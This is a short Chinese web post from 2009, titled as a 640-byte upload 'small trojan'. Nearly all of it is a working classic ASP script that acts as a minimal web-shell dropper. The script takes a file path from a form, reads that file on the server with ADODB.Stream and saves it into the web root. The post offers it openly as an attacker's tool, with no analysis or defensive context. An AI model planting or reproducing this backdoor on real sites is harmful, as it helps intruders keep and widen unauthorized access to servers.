640字节的上传文件小马

2009-7-29 09:57 710 0

摘要: 　　<%　　Function GetFileName(ByVal strFile)　　If strFile <> "" Then　　GetFileName = mid(strFile...

关键词： objStream strFileName GetFileName strFile Server Else Then CreateObject LoadFromFile SaveToFile

　　<%　　Function GetFileName(ByVal strFile)　　If strFile <> "" Then　　GetFileName = mid(strFile,InStrRev(strFile, "\")+1)　　Else　　GetFileName = ""　　End If　　End function　　strFileName = Request.Form("F")　　If strFileName<>"" Then　　Set objStream = Server.CreateObject("ADODB.Stream")　　objStream.Type = 1　　objStream.Open　　objStream.LoadFromFile strFileName　　objStream.SaveToFile Server.MapPath(GetFileName(strFileName)),2　　objStream.Close　　response.write "ok!"　　Else　　%>　　<form action='<%= Request.ServerVariables("URL") %>' method='post'>　　<input type='file' name='F'> <input type='submit' value="up">　　</form>　　<%　　End if　　%>

声明：文章版权归原作者所有部分文章转自互联网如有侵权请联系 [邮箱地址] 删除